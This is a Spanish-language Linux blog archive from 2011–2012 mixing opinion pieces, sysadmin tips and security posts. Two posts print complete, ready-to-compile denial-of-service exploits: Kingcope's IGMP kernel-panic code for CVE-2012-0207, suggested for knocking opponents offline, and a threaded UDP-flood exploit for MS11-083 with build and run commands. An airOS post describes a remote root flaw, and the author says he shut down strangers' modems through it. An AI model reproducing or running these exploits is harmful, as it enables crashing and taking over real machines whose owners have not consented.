22 ene 2012

Fedora y Parabola Linux se suman al blackout y protesta | Megaupload, FileSonic, ninjavideo.net, quien sigue?

Fedora y Parabola Linux se suman, el resto?

No es curioso para mi, pero quizá si para otros, el hecho de que Fedora, sea la única distro que se sumo a poner el banner de stop SOPA el día 18 de Enero de 2012 o bien "Stop Internet Censorship" incluso hasta el día de hoy. Podrán ver en cada página del Proyecto Fedora, un banner que dice claramente, Stop Internet Censorship.
No quiero con esto iniciar un flame war, pero me gustaria remarcar, que Debian y otras que dicen ser FOSS en su modelo, Debian con su kernel libre, no solo no se sumo a nada, sino que no tiene planes de hacerlo.

Otra distro que se sumo a lo que esta pasando y es de público conocimiento, es Parabola Linux, la versión 100% libre de ArchLinux, donde puede verse su banner también.
Dirán, que tiene Fedora de FOSS?, bueno, para los que no saben, la instalación base de Fedora, no trae nada que no sea libre, excepto los blob del kernel, el resto, incluso rpmfusion, posee un free y non free, haciendo libre de responsabilidad del non free Fedora.


SOPA o no SOPA?

Si bien el cierre de Megaupload no tiene nada que ver con SOPA (al menos eso les dicen a ustedes mis lectores), yo les digo lo contrario, porque de estas cosas conozco y mucho.
Como la ley SOPA y PIPA fueron cajoneadas, para evitar problemas y mala imagen, dada la protesta de wikipedia, google y otros, recordemos que Obama está en pleno plan de releección, y no es bueno para el, una mala imagen, si bien el 80% diría yo, de los yankee apoya SOPA o bien no le interesa, el otro 20% si, y un votante, es algo no?.


Como sucede siempre, una cosa se tapa, otra sucede, aca pasó esto.
Cajonean la ley SOPA, PIPA y ACTA para no manchar la imagen de Obama, pero inventan una "Conspiración Mundial" contra EEUU, asi lo calificó al FBI, al tema Megaupload, donde se menciona a Taringa.net, seriesyonkies, ninjavideo.net (que YA FUE CERRADA), y otras. Al día de la fecha, FileSonic se encuentra imposibilidato de compartir archivos, solo se permite dentro de la misma cuenta de usuario, no link externos.

Entonces, que está pasando?, es muy claro, se cajonea una ley controversial y que da una mala imagen, para actuar rapidamente de la MISMA forma que indica esa ley, inventando un caso que no existe, sobre una conspiracion mundial contra EEUU.
Ahora, a continuacion, les dejo una reflexión de un tipo, no se quien es pero comparto lo que dice, las imagenes de Fedora y Parabola Linux, asi como un video comico y no tanto sobre Hitler se entera del cierre de Megaupload. Si bien el video es cómico, lo que dice el texto, es 100% real.
Pregunto yo, vamos a dejar que los reputos servicios de EEUU controlen el mundo? y si, me refiero al FBI y la CIA, porque yo no señores, y lo digo en serio, creo firmemente que compartir es bueno, que no es pirateria, y en caso de que haya un cataclismo en internet y todo vuelva a ser como en el año 1995, volveremos a traficar en ftp privados como haciamos antes.

Saludos

PD: Pido encarecidamente que miren el video del notero así como de Anonymous




Video sobre lo que se viene



Hitler se entera que cierran Megaupload



YAPA:

Mensaje de Anonymous al pueblo de EEUU


19 ene 2012

0day Linux IGMP Lan crash CVE-2012-0207 + Patch

El dia de hoy se publicó en seclist un 0day que usa el IGMP para crashear una red en LAN.
El bug afecta a todos los kernel Linux 2.6.36 o superiores, dado que la falla o regresion, fue introducida en el 2.6.36.
Si bien es solo en LAN, como dijo uno de los chicos de seclist acerca de "ah bueno es solo en lan", cito textual:

"Depends. Your network security people ever read BCP38? :)"


Eso es básicamente, el spoof de red, es decir, hacer creer al host remoto que el paquete proviene de la misma LAN.
A continuación un video del PoC, y luego comentaré algo.









Reporte de commit en kernel.org:


http://www.kernel.org/pub/linux/kernel/v3.0/ChangeLog-3.2.1
commit 25c413ad0029ea86008234be28aee33456e53e5b
Author: Ben Hutchings <ben@decadent.org.uk>
Date:   Mon Jan 9 14:06:46 2012 -0800

    igmp: Avoid zero delay when receiving odd mixture of IGMP queries
 
    commit a8c1f65c79cbbb2f7da782d4c9d15639a9b94b27 upstream.
 
    Commit 5b7c84066733c5dfb0e4016d939757b38de189e4 ('ipv4: correct IGMP
    behavior on v3 query during v2-compatibility mode') added yet another
    case for query parsing, which can result in max_delay = 0.  Substitute
    a value of 1, as in the usual v3 case.
 
    Reported-by: Simon McVittie <smcv@debian.org>
    References: http://bugs.debian.org/654876
    Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
    Signed-off-by: David S. Miller <davem@davemloft.net>

Parche, por si alguno quiere aplicarlo en caso de no tener updates y su kernel no es 3.x

From: Ben Hutchings <ben@decadent.org.uk>

commit a8c1f65c79cbbb2f7da782d4c9d15639a9b94b27 upstream.

Commit 5b7c84066733c5dfb0e4016d939757b38de189e4 ('ipv4: correct IGMP
behavior on v3 query during v2-compatibility mode') added yet another
case for query parsing, which can result in max_delay = 0.  Substitute
a value of 1, as in the usual v3 case.

Reported-by: Simon McVittie <smcv@debian.org>
References: http://bugs.debian.org/654876
Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
Signed-off-by: David S. Miller <davem@davemloft.net>

---
 net/ipv4/igmp.c |    2 ++
 1 file changed, 2 insertions(+)
--- a/net/ipv4/igmp.c
+++ b/net/ipv4/igmp.c
@@ -875,6 +875,8 @@ static void igmp_heard_query(struct in_d
  * to be intended in a v3 query.
  */
  max_delay = IGMPV3_MRC(ih3->code)*(HZ/IGMP_TIMER_SCALE);
+ if (!max_delay)
+ max_delay = 1; /* can't mod w/ 0 */
  } else { /* v3 */
  if (!pskb_may_pull(skb, sizeof(struct igmpv3_query)))
  return;




Bueno, se puede ver en el video claramente como el sistema remoto o atacado crashea de forma inmediata.
Respecto a lo que me concierne, cabe comentar, que Fedora 15 y 16 ya fixearon sus kernel el dia 11 de Enero de 2012, detalle:

"Correction.The 3.1.9 kernel contains corresponding backport commit dd9f9823b61ce894163433380ffcfc28eaf6e9c5. The 3.2.1 kernel contains corresponding backport commit 25c413ad0029ea86008234be28aee33456e53e5b."All Fedora branches are already fixed."

Ahora bien, RHEL 6.1 aun no tiene patch, openSUSE tampoco, Ubuntu y muchos mas, asi que, si quieren divertirse en una LAN party, dejando sin red al oponente, es ideal, otros fines, son delictivos y este post no es para fomentar el hack ilegal, que quede bien claro.

El que tenga un sistema sin update de kernel, puede bajar el 3.2.1 o ultimo stable y compilarlo, o bien aplicar el parche a igmp.c o bien si es mas vago, usar una regla de iptables como esta:

iptables -A INPUT -i <interface> -p igmp -j DROP (generalmente eth0 o wlan0)

Codigo del exploit:



/*
** linux-undeadattack.c
** Linux IGMP Remote Denial Of Service (Introduced in linux-2.6.36)
** CVE-2012-0207
** credits to Ben Hutchings:
** http://womble.decadent.org.uk/blog/igmp-denial-of-service-in-linux-cve-2012-0207.html
** written By Kingcope
** Year 2012
** Ripped & modified code written by Firestorm
** Tested against * OpenSuSE 11.4 system
**  * Recent Ubuntu Distro
**
** Example:
** ./undeadattack 192.168.2.16 192.168.2.3
** The Linux Kernel at the remote side will Panic
** when sent over the network :>
** ENJOY!
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>


struct iphdr
{
  unsigned char ihl:4, version:4, tos;
  unsigned short tot_len, id, frag_off;
  unsigned char ttl, protocol;
  unsigned short check;
  unsigned int saddr, daddr;
  unsigned int options1;
  unsigned int options2;
};


struct igmp_query {
        unsigned char type;
        unsigned char maxresponse;
        unsigned short csum;
        unsigned int mcast;
        char padding[40];
};


unsigned short in_chksum(unsigned short *, int);
long resolve(char *);


long resolve(char *host)
{
  struct hostent *hst;
  long addr;


  hst = gethostbyname(host);
  if (hst == NULL)
    return(-1);


  memcpy(&addr, hst->h_addr, hst->h_length);


  return(addr);
}


int main(int argc, char *argv[])
{
  struct sockaddr_in dst;
  struct iphdr *ip;
  struct igmp_query *igmp;
  long daddr, saddr;
  int s, i=0, c, len, one=1;
  char buf[1500];


  if (argc < 3)
  {
    printf("Linux IGMP Remote Denial Of Service (Introduced in linux-2.6.36)\n"
  "credits to Ben Hutchings\nwritten by Kingcope\n"
  "Ripped & modified code written by Firestorm\n");
    printf("Usage: %s <src> <dst>\n", *argv);
    return(1);
  }


  daddr = resolve(argv[2]);
  saddr = resolve(argv[1]);

  memset(buf, 0, 1500);
  ip = (struct iphdr *)&buf;
  igmp = (struct igmp_query*)&buf[sizeof(struct iphdr)];

  dst.sin_addr.s_addr = daddr;
  dst.sin_family = AF_INET;

  ip->ihl = 7;
  ip->version = 4;
  ip->tos = 0;
  ip->tot_len = htons(sizeof(struct iphdr)+8);
  ip->id = htons(18277);
  ip->frag_off=0;
  ip->ttl = 1;
  ip->protocol = IPPROTO_IGMP;
  ip->check = in_chksum((unsigned short *)ip, sizeof(struct iphdr));
  ip->saddr = saddr;
  ip->daddr = daddr;
  ip->options1 = 0;
  ip->options2 = 0;
  igmp->type = 0x11;
  igmp->maxresponse = 0xff;
  igmp->mcast=inet_addr("224.0.0.1");

  igmp->csum = 0; //For computing the checksum, the Checksum field is set to zero.
  igmp->csum=in_chksum((unsigned short *)igmp, 8);

  s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (s == -1)
    return(1);

  printf("Sending IGMP packet: %s -> %s\n", argv[1], argv[2]);

      if (sendto(s,&buf,sizeof(struct iphdr)+8,0,(struct sockaddr *)&dst,sizeof(struct sockaddr_in)) == -1)
      {
        perror("Error sending packet");
        exit(-1);
      }

  close(s);

  s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (s == -1)
    return(1);

  ip->id = htons(18278);
  ip->tot_len = sizeof(struct iphdr)+12;
  igmp->type = 0x11;
  igmp->maxresponse = 0;
  igmp->mcast=inet_addr("0.0.0.0");

  igmp->csum = 0; //For computing the checksum, the Checksum field is set to zero.
  igmp->csum=in_chksum((unsigned short *)igmp, 12);

  printf("Sending IGMP packet: %s -> %s\n", argv[1], argv[2]);

      if (sendto(s,&buf,sizeof(struct iphdr)+12,0,(struct sockaddr *)&dst,sizeof(struct sockaddr_in)) == -1)
      {
        perror("Error sending packet");
        exit(-1);
      }

  return(0);
}


unsigned short in_chksum(unsigned short *addr, int len)
{
   register int nleft = len;
   register int sum = 0;
   u_short answer = 0;

   while (nleft > 1) {
      sum += *addr++;
      nleft -= 2;
   }


   if (nleft == 1) {
      *(u_char *)(&answer) = *(u_char *)addr;
      sum += answer;
   }


   sum = (sum >> 16) + (sum & 0xffff);
   sum += (sum >> 16);
   answer = ~sum;
   return(answer);
}

Disclaimer:

El codigo y patch es para un PoC, con fines educativos, en un ambiente controlado, cualquier uso para activivades no legales, no se responsabiliza este blog.

16 ene 2012

Script para ver el uso de ram por proceso

Es un simple script para ver el uso de ram de cada proceso desde terminal, pueden meterlo en un script en /usr/local/bin y tenerlo como comando no?, como ser, ver_mem. Solo copien y peguen en un terminal y vean su magia.
Aquí el script:

ps aux | awk '{print $6" "$11,$12,$13,$14}' | egrep -v "0.*\[.*\]" | awk '{print $1/1024" Mb --> "$2,$3,$4,$5}' | sort -g

Yum, el package manager de Fedora, RHEL y derivados | Sorpresa



Algunos saben y otros no, en mi desktop uso Fedora KDE spin como distro principal, y en mi notebook SL6.1 (scientific linux 6.1), otro clon de RHEL, como lo es CentOS, solo que me decanto por SL por temas personales que no van a este post.

Más adelante me explayaré mas sobre YUM y sus bondades frente a otros package manager, pero hoy se me ocurrio hacer esta entrada solo para mostrar algo que poco se ve en muchas distro.

Transmission, el conocido cliente de torrent GTK o CLI, no viene en los repos de RHEL ni de casualidad, como queria usarlo hace unos meses, lo instalé usando rpm -ivh con los rpm y dependencias de FC13, dado que RHEL6.x es derivado de Fedora 12 + Fedora 13.

Asi que a mano los instale, sin usar yum, solo rpm.

Para mi sorpresa, el equipo de EPEL, metio en sus repos a Transmission*, y para contento mio, y algo que no sabia, YUM fue capaz de leer la DB de rpm, ver el package transmission, darse cuenta que habia un update en EPEL (el mismo paquete pero con version mas reciente), y actualizarlo.

Asi que, una bondad mas de YUM, tan criticado por estar escrito en Python, es que si instalan algo usando rpm que no este en su distro, pero luego es introducido en algun repo, YUM avisará de la version mas actual y ofrecerá hacer el update. Interesante no?:




Updating:

transmission-cli i686 2.13-1.el6 epel 193 k

transmission-common i686 2.13-1.el6 epel 526 k

transmission-gtk i686 2.13-1.el6 epel 639 k

-----

Updating : transmission-common-2.13-1.el6.i686 1/6
Updating : transmission-gtk-2.13-1.el6.i686 2/6
Updating : transmission-cli-2.13-1.el6.i686 3/6
Cleanup : transmission-cli-1.93-1.fc13.i686 4/6
Cleanup : transmission-gtk-1.93-1.fc13.i686 5/6
Cleanup : transmission-common-1.93-1.fc13.i686 6/6

Nota: Notese el fc13.i686 lo que data que si habia instalado transmission usando koji de fedora con sus rpm

Ahora abro transmission y veo...

Acerca de:

Transmission 2.13 (11501)

Eso es todo por hoy, haré una proxima entrada comentando pros y contras de YUM, asi como su uso, plugins y la diferencia con RPM o up2date.

11 ene 2012

GPG ArchLinux - Pacman 4 (?)

Perdón a los arch lovers, pero no puedo evitar orinarme de la risa al ver esto.
Haciendo nada, en la web, en realidad, buscando versiones de paquetes de Arch en sus repos, me di con pacman 3.5 outdated, fuera de fecha, asi que me sugeria el 4 (aclaro que NO uso arch, solo miraba sus repos), cuando lo veo, en sus dependencias dice gpgme, dije, wow, toda una noticia, ya incluyeron GPG en los paquetes, o sea, firmados, cosa que hace como 4 años se le critica.
Cuando vi el G+ de Ionut Biru no pude evitar reirme sin parar, dado que el anuncio lo hizo el dia 14/10/2011 y siendo 11/01/2012 aun esta en testing.
Para colmo una persona le comenta, que seria bueno una stable branch, a lo que el algo ofuscado responde que si insinua que Arch no es estable..... no!!! sino que esta en testing hace 3 meses, demoraron 4 años y si, ademas agrego yo, no es estable como distro que ellos critican, como Fedora.
Dejo imagenes a continuacion, puteadas insultos, banes de los arch lovers, por mail, en comment, o bien por IRC en Freenode, mi nick ya lo saben.
Saludos a falconindy (irc.freenode.net) que me baneo de #archlinux (mejor asi no leo mas cosas decadentes) porque le pasaron el dato de mi blog, que se meta el ban por el culo, que le va a sentar bien, a ver si hace algo decente.


Noten claramente el /testing/ de pacman 4


31 dic 2011

Buscar archivos en Megaupload, mediafire y muchos mas.

Existe un buscador, para encontrar ESO que andás buscando y no encontrás, sin necesidad de usar taringa o portales de intercambio o linksharing, esto se llama:

http://www.uvrx.com/es/search-all.html

Puede buscar en la web, o en all (todos los host de archivos), la verdad, es muy muy util, les dejo un pantallazo para que se den una idea.


Bueno, espero les haya gustado, saludos.

30 dic 2011

Descubiendo las IP de un host y analizando la latencia - Bash Script

Debido a que a veces yo hacia todo de forma manual, para ver las IP de un mismo host y luego usar la mas rapida, como ser irc's, me di cuenta que (obviamente) era mucho mas practico hacer un script, asi que, aca esta el source, solo lo colocan en /usr/local/bin/ y le dan permisos con chmod +x o bien lo corren en su home ./pingtest previamente tambien dandole permisos con chmod +x pingtest (como root obviamente)

-------------------------------------------------------



#!/bin/sh
#Version 1.0
#GNU/GPL v3 or later
#Autor SynFlag:irc.freenode.net
unset host1
unset opcion1
clear
echo "Bienvenido al analizador de IP y tiempos de ICMP ver 1.0, solo analiza IPv4"
echo Ingrese el nombre de host para enviar sus IP a ips_nombredelhost.txt
read host1
nslookup $host1|grep Address: |cut --characters=10-24|grep -v "#" > ips_$host1.txt 2>/dev/null
echo "Desea ver las IP asociadas antes de hacer el ping test o prefiere seguir? s/N:"
read opcion1 2>/dev/null
if [ "$opcion1" = "s" ];then
        echo "Listado de IP:"
cat ips_$host1.txt|more
echo "Presione enter para continuar"
read
clear
while read linea
do
    ping -n -c1 $linea
done < ips_$host1.txt

else


echo "Ahora va a demorar dependiente de su conexión y/o la del host remoto el test, podrá ver la salida con los tiempos de ping y la IP"


while read linea
do
    ping -n -c1 $linea
done < ips_$host1.txt
fi
echo "Eso es todo, su listado de IP no será borrado, fue guardado con el nombre ips_$host1.txt"
unset host1
unset opcion1
exit 0

-----------------------------------------------------

Saludos, espero que les sirva y haya gustado.

Evitar que Chrome guarde cache | Prevent that Chrome save local cache

Google Chrome o Chromium, da igual a este caso, no poseen la conocida pestaña de privacidad de Firefox, donde se puede especificar que el tamaño de cache local sea de 0mb, o bien que al cerrar el navegador limpie toda la cache, sino que se debe ir a preferencias, historial, borrar datos desde el origen de los tiempos.
Cuando estamos diseñando o editando un sitio web, esto resulta engorroso a la hora de cambiar imagenes por FTP o HTTP o ssh, y tener que realizar ese metodo para que refresque la imagen nueva, a veces no lo hace, y me ha pasado un par de veces, imagino que a ustedes lectores tambien, de que modifican una imagen y no se refresca en todos los sitios al momento de cambiarla en su origen de URL.
Hay un metodo poco ortodoxo pero efectivo para solucionar esto, es decir, Chrome guardara el historial de sitios visitados, pero no la cache de imagenes, no al menos al cerrar el navegador, si dentro de la sesion obviamente.

Para hacer esto, hacemos lo siguiente.

1.- Nos loguemos como root, en ubuntu "sudo su" en terminal, en el resto de las distro su -
2.- cd /home/usuario/.cache/ (donde usuario es su usuario, pepe, juan etc)
3.- Una vez alli, hacemos esto:

cd google-chrome o google-chromium
cd Default
chattr -R +i
exit

Esto es todo, lo que hace chattr, con el parametro -R, es ser recursivo dentro de los directorios, y +i "inalterable", de esta forma, Chrome no podra guardar nada en su cache, y esto no genera errores en su funcionamiento ni lo afecta en nada.
Para volver todo como antes, repitan los mismos pasos pero con el parametro -R -i
Antes de hacer esto, no olviden vaciar todo desde el menu de Chrome, asi no quedan datos previamente guardados inalterables por mas que los querramos borrar.
En el caso de Windows, es el mismo procedimiento, solo que van a la carpeta de cache de Windows de Chrome, que es:



C:\ Documents and Settings \ "USUARIO" \ Configuracion Local \ Datos de Programa \ Google \ Chrome \ User Data \ Default \ Cache




ó




C:\ Documents and Settings\ "USUARIO" \ Local Settings \ Application Data \ Google \ Chrome \ User Data \ Default \ Cache




Haciendo click derecho sobre Default, cambian en permisos avanzados de carpeta, y ponen, no permitir cambios, de escritura ni lectura.

Eso es todo, espero les sirva como a mi.
Saludos.

PD: Al equipo de chrome, deberian incorporar esa caracteristica de Firefox, uso Chrome por temas tecnicos de mi equipo, pero no discuto la flexibilidad y configurabilidad de Firefox frente a Chrome.

28 dic 2011

airOS Full Disclosure - remote root 0day

Hace algunos dias, pude ver en seclist.org, un comentario sobre una falla en airOS, el OS de algunos devices DSL wireless, aprovechando una falla de lighttpd, se podia acceder a una interfaz gui, la cual deja ejecutar ordenes, subir y bajar archivos, ademas de aplicar chmod.
Paso algunas imagenes y a continuacion explico algo mas:



Bueno, ahora veamos un poco esto. El OS corre linux mips, con uclibc, y las cosas basicas.
El riesgo de esto, no es solo que puedan de forma remota reiniciar o apagar el modem, ademas de hacer un rf -rf /, sino que se puede subir un bot o shell usando netcat o ssh, para entre todos, conformar una botnet, meterlos en un irc, y dar ordenes de hacer DDoS, ademas de por ejemplo, plantar un sniffer de red y robar datos salientes de los clientes / usuarios / empresas que usan este modem.
La cantidad de cosas que se puede hacer es dependiendo de que:

Contamos con un kernel linux mips
uclibc
sh shell
root
sshd

El tema de esto, es que el mismo disclosure en seclist, se sugiere eso, programar un bot en C o ASM quiza, para subirlo y tener una botnet, y observe que algunas personas estaban usando estos modem con fines propios mas alla del PoC, asi me decidi a hacer esta entrada de blog y de paso ir apagando los modem para alertar de alguna forma a la gente que los este usando.
Esta falla se soluciona updateando el firmware a la version 5.3.5 terminada hace unos dias por ubiquity.


Reflexion:

A veces la seguridad no depende del OS que usemos, tampoco de las cosas que hagamos, el navegador, sino de dispositivos fisicos, como es este caso, donde uno se ve "atado" a su ISP, y nadie envia un mail desde el ISP avisando que tu modem puede estar formando parte de una botnet, cuantos devices mas habrá que tienen vulnerabilidades y aun no se sabe o no se mostro?, muchos.
Por mi parte, recomiendo que cada tanto actualicen el firmware de sus router, del modem si se puede y que chequeen todo lo posible desde fuera de su red, teniendo su numero de IP.

La fuente original del problema, se encuentra en esta URL:
http://seclists.org/fulldisclosure/2011/Dec/419

Saludos a todos, espero que tomen recaudos los que poseen estos aparatitos, proximamente version en ingles.

21 dic 2011

Villancico Linuxero


Aquí les dejo un villancico para todos los linuxeros y porque no para los mac y win users también, se van a dirvertir

24 nov 2011

Fedora 16 crashea las X usando preupgrade | Fedora 16 crash X using preupgrade

Bueno, si bien yo uso un clon de RHEL en mi laptop, en la desktop uso Fedora KDE spin, decidi actualizar de la version 15 a las 16 usando preupgrade, algo que no habia hecho antes, solia hacer instalaciones limpias, pero me anime a probar, y debo decir que no me fue bien, pero hay solucion.
Remarco que si bien es libre y muy romantico, nouveau me ha dado mas dolores de cabeza que alegrias desde que aparecio, preferia el viejo driver nv, si algun muchacho de Fedora lee esto, le pido que al menos en el boot menu de preupgrade o anaconda diga "usar modo vesa".
Todo iba bien, preupgrade bajo los paquetes, al reiniciar el grub dice "Actualizar a Fedora 16 verve", ok, tras varios intentos, veo que.. carga un driver de video, claramente se veia al iniciar porque las letras se veian bien, y al iniciar las X de anaconda, crash, y de los feos, un hardlock, ni al sysreq responde. Si bien es un bug reportado, esta reportado desde fedora 12,  y aun no se arregla, cuando van a entender (perdon que me ponga asi), que las placas nuevas como la GT240 no anda con nouveau?, algun dia?, espero que si.
Si te paso lo mismo que a mi, te queda darle al reset, y cuando esta por iniciar (si es que antes de eso desocultaste el menu de inicio y le diste al menos 3 segundos para elegir, sino podes hacerlo desde un liveCD, montar el /boot y en menu.lst de grub, comentar donde dice:

hiddenmenu y splashimage=(hd0,2)/boot/grub/splash.xpm.gz

quedando algo asi:


#boot=/dev/sda
default=0
timeout=3
#splashimage=(hd0,2)/boot/grub/splash.xpm.gz
#hiddenmenu

Salvan desde el liveCD y ahora comenzamos.
Ni bien inician, mueven la flecha para arriba o abajo, presionan 'e' sobre la opcion de actualizar a verne 16, luego se posicionan sobre la linea mas larga que es la primera, la carga del kernel, y van al final, con la tecla 'fin', y ahi tipean esto:

rdblacklist=nouveau blacklist=nouveau nomodeset nouveau.modeset=0 xdriver=vesa

Luego de eso, presionan 'enter', luego 'Esc' y vuelve al menú anterior, se posicionan sobre esa larga linea, y presionan la tecla 'b', de boot, entonces inicia anaconda y su instalador SIN cargar nouveau, luego que termina todo, solo falta agregar el modulo kmod o bien el .run de nvidia, eso es todo, espero les sea de utilidad.

Saludos

18 nov 2011

MS11-083 DoS/PoC exploit

Bueno, existe un PoC sobre un bug en sistemas windows*, que lo afecta de forma remota, y fue llamado el exploit de chuck norris, dado que solo el puede explotar un puerto cerrado, y es lo que hace este codigo, aunque no lo parezca. Ya fue parcheado, por la gente que posee servidores y pc hogareñas con licencia o bien crackeados, da lo mismo, el que no lo parcheo, le recomiendo que lo haga.
El efecto que produce es congelar la PC remota.
Consejos: Usen una conexion buena, por cable no wifi, y con un ancho de subida grande, sino los payload saturan la red, el codigo sigue corriendo y llena la ram como consecuencia.
Un video demostracion, y luego el codigo y como compilarlo en sistemas GNU/Linux claro.


Codigo:

* MS11-083 DoS/PoC exploit
* ========================
* This attempts to trigger the ICMP refCount overflow  
* in TCP/IP stack of Win7/Vista/Win2k8 hosts. This 
* requires sending 2^32 UDP packets to a host on a closed
* port, or 4,294,967,296 packets. A dereference function
* must be called that is not triggered via UDP but ICMP  
* echo packets. This exploit creates 250 threads and 
* floods a host with UDP packets and then attempts to
* trigger the de-ref using ping. I calculated that it
* would take approximately 52 days for the host to 
* enter a condition where this vulnerability is 
* triggerable. 
*
* -- prdelka 
*/
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/time.h>

int port;
int active = 0;
pthread_mutex_t mutexactive;
void *sendpackets(void *ptr);

int main(int argc, char *argv[]) {
      pthread_t thread;
      int iret,lthreads;
pid_t pid;
printf("[+] MS11-083 DoS/PoC exploit\n");
if(argc<3){
printf("[!] Usage : %s <server> <port>\n", argv[0]);
exit(1);
}
//char *const args[] = {"ping","-c","1",argv[1],NULL};
char *const envp[] = {"",NULL};
port = atoi(argv[2]);
for(lthreads=0;lthreads<250;lthreads++){//UDP flood 250
iret = pthread_create(&thread,NULL,sendpackets,argv[1]);
printf("[-] Thread number %d started\n",lthreads);
sleep(1);
}
printf("[-] One does not simply barrel roll into Mordor\n");
while(active){
pid = fork();
if(pid==0){// trigger deref.
execve("/sbin/ping",args,envp);
};
sleep(15);
}
printf("[-] You are finished. Patience is a virtue.\n");
exit(0);
}

void *sendpackets(void *ptr)
{
int sd, rc, n, echoLen, flags, error, timeOut;
unsigned long i;
struct sockaddr_in remoteServAddr;
struct hostent *h;
char str[41];
pthread_mutex_lock(&mutexactive);
active++;
pthread_mutex_unlock(&mutexactive);
    srand(time(NULL));
    for (i = 0;i < 40;++i){
str[i] = (char)((rand() % 78) + 30);
    }
    str[40] = '\0'; // yes this was off-by-one. :(
printf("[-] Sending payload '%s'\n",str);
  h = gethostbyname(ptr);
if(h==NULL) {
    printf("unknown host '%s' \n",(char*)ptr);
    exit(1);
  }
remoteServAddr.sin_family = h->h_addrtype;
memcpy((char *) &remoteServAddr.sin_addr.s_addr,h->h_addr_list[0], h->h_length);
remoteServAddr.sin_port = htons(port);
sd = socket(AF_INET,SOCK_DGRAM,0);
if(sd<0){
printf("[!] Cannot open socket\n");
pthread_exit((void*)0);
}
flags = 0;
for(i=0;i<4294967295;i++){
rc = sendto(sd,str,strlen(str)+1,flags,(struct sockaddr *)&remoteServAddr,sizeof(remoteServAddr));
if(rc<0){
printf("[!] Cannot send data\n");
      close(sd);
pthread_exit((void*)0);
    }
}
pthread_mutex_lock(&mutexactive);
active--;
pthread_mutex_unlock(&mutexactive);
pthread_exit(NULL);
}

Salvan eso como, win.c por ej, abren una terminal, tipean:

# gcc -o win_nuke win.c -lpthread
#./win_nuke IP port

Recuerden que debe ser un puerto cerrado.
Saludos.
PD: No me hago responsable por el mal uso que se haga de este codigo, el uso del mismo queda bajo responsabilidad de cada usuario que lo compile y use, desligando de toda responsabilidad al autor de este blog.


9 nov 2011

emesene no conecta | emesene can't connect

Bueno, hace unos dias emesene 1.x y 2.x no conectan, lo mismo kmess y otros, el tema es que muchos como yo usamos la version 1.6.3 conocida como uberlandia, y el parche se dio en la version 2 en el blog de emesene, para los que usamos la 1.6.3 solo cambiamos unas cosas, eso es todo, pasos a seguir:

1.- Se loguean como root (si no sabes que es eso, en tu sistema que uses busca como se hace, veras el prompt del sistema con #), en una terminal que elijas, recomiendo que sea grafica (gnome-terminal, lxterm, roxterm, konsole)
2.- gedit /usr/share/emesene/emesenelib/soap/templates.py
3.- En gedit, presionan ctrl+h, que es reemplazar
4.- En "buscar", colocan esta cadena "contacts.msn.com" (sin las comillas claro)
5.- En "Reemplazar por", esta otra "local-bay.contacts.msn.com"
6.- Presionan "Reemplazar todo"
7.- Archivo, guardar y cierran

Ahora, repiten EL MISMO procedimiento con /usr/share/emesene/emesenelib/soap/requests.py

1.- su, o sudo su
2.- gedit /usr/share/emesene/emesenelib/soap/requests.py
3.- Buscan y reemplazan la misma cadena mencionada en el punto 4 y 5 anteriores
4.- Graban y salen

Listo, eso es todo, ahora pueden iniciar emesene 1.6.3 sin problemas

4 nov 2011

Fix Emesene 1.6.3 bloquear contactos | Linux - Fedora y RHEL

Actualmente usando RHEL 6.1 o derivados (clones, tambien otras distro enterprise), encontramos que el unico IM para la red MSN es pidgin, teniendo este desventajas claras que no voy a enumerar en todo el post, solo dire que los password locales se guardan en texto plano.
Daré el ejemplo para mi caso, SL6.1
Primero que nada, procedemos a instalar emesene 1.6.3 usando el rpm de Fedora 15, esto es, para i686 o para x86_64, por ej:

ftp://ftp.muug.mb.ca/mirror/fedora/linux/releases/15/Everything/i386/os/Packages/emesene-1.6.3-3.fc15.x86_64.rpm

ftp://ftp.muug.mb.ca/mirror/fedora/linux/releases/15/Everything/x86_64/os/Packages/emesene-1.6.3-3.fc15.x86_64.rpm

Luego de que bajen el rpm, lo instalan usando rpm, no yum, dado que va a pedir una dependencia que no necesitamos, asi que hacemos:

rpm --nodeps -ivh emesene-1.6.3-3.fc15.x86_64.rpm

Y eso es todo, ahora bien, notaran una falla en 1.6.3, que en algunas cuentas, sino todas, al bloquear un contacto el mismo se desbloquea a los segundos de forma automatica, bueno, hay un fix para ello, y es el siguiente, logueados como root, editan /usr/share/emesene/emesenelib/ProfileManager.py, y comentan (#) las lineas:


609
610
611
612
613
644
645
646
647


(Eso arregla el problema del bloqueo y desbloqueo fallido de contactos)

Salvan y listo, ahora emesene si bloquea.
Porque no usar el 2 desde git?, bueno, a ver le encontre mil errores y fallas, desde que se crashea la GUI haciendo X cosas, hasta que tiene mensajes de error con el nuevo protocolo de MSN, asi que el 1.6.3 con este retoque, a mi parecer es el mejor.

Nota: El fix para los contactos es aplicable a todo GNU/Linux

Saludos

29 ago 2011

lsusb.py existe?, si, arreglemoslo! - Fedora

Existe un comando llamado lsusb.py ademas del conocido lsusb, que nos proporciona una salida de los devices USB, su ID y el consumo en tiempo real en amperes de cada puerto, pero tiene un pequeño bug, vamos a arreglarlo para poder usarlo como se debe.
Primero que nada veamos la salida normal como viene por defecto:


lsusb.py
 WARNING: Failure to read usb.ids
(<type 'exceptions.IOError'>, IOError(2, 'No such file or directory'),
<traceback object at 0xb76eea04>)
usb1            1d6b:0002 09  2.00 480MBit/s   0mA 1IFs (ehci_hcd 0000:00:1d.7) hub
1-6            17ef:1000 09  2.00 480MBit/s   2mA 1IFs () hub
usb2            1d6b:0001 09  1.10  12MBit/s   0mA 1IFs (uhci_hcd 0000:00:1d.0) hub
usb3            1d6b:0001 09  1.10  12MBit/s   0mA 1IFs (uhci_hcd 0000:00:1d.1) hub
usb4            1d6b:0001 09  1.10  12MBit/s   0mA 1IFs (uhci_hcd 0000:00:1d.2) hub
usb5            1d6b:0001 09  1.10  12MBit/s   0mA 1IFs (uhci_hcd 0000:00:1d.3) hub


Ahora, veamos la salida fixeada:


lsusb.py

